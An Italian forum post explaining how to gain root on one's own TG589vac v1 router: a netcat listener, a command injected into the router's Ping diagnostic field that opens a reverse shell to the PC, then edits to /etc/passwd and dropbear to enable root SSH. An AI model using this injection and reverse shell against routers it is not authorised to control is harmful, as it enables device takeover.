1) mettere in ascolto netcat sul computer con la sintassi
Codice: [Seleziona]
nc -lvvp x
dove x = porta TCP libera (suggerisco comunque superiore alla 1024, avendo comunque cura di verificare che l'eventuale firewall di sistema autorizzi le connessioni in ingresso su quella porta o per il programma)
2) inserire nel campo Ping della sezione Diagnostica del router la sintassi
Codice: [Seleziona]
:::::::;nc 192.168.1.aaa x -e /bin/sh
dove aaa = progressivo dell'IP assegnato al computer in cui netcat è in ascolto e x = porta TCP scelta in precedenza
) lanciare la richiesta di Ping ed attendere qualche secondo che netcat segnali l'avvenuta connessione
4) da shell netcat lanciare in sequenza i comandi seguenti: NOTA BENE: la connessione via netcat non prevede stdout a video, pertanto è normale che non appaia l'esito dei comandi imputati!
Codice:
passwd
(verrà chiesto di inserire la password: inserire root per semplicità e confermare, non preoccupandosi dell'avviso: sarà poi possibile modificarla con qualsiasi altra password a rooting concluso)
sed -i.save 's#root:/bin/false#root:/bin/ash#' /etc/passwd
sed -i.save 's/0/1/' /etc/config/dropbear
/etc/init.d/dropbear restart
Testata e funzionante sul mio TG589vac v1
Grazie a ciciusx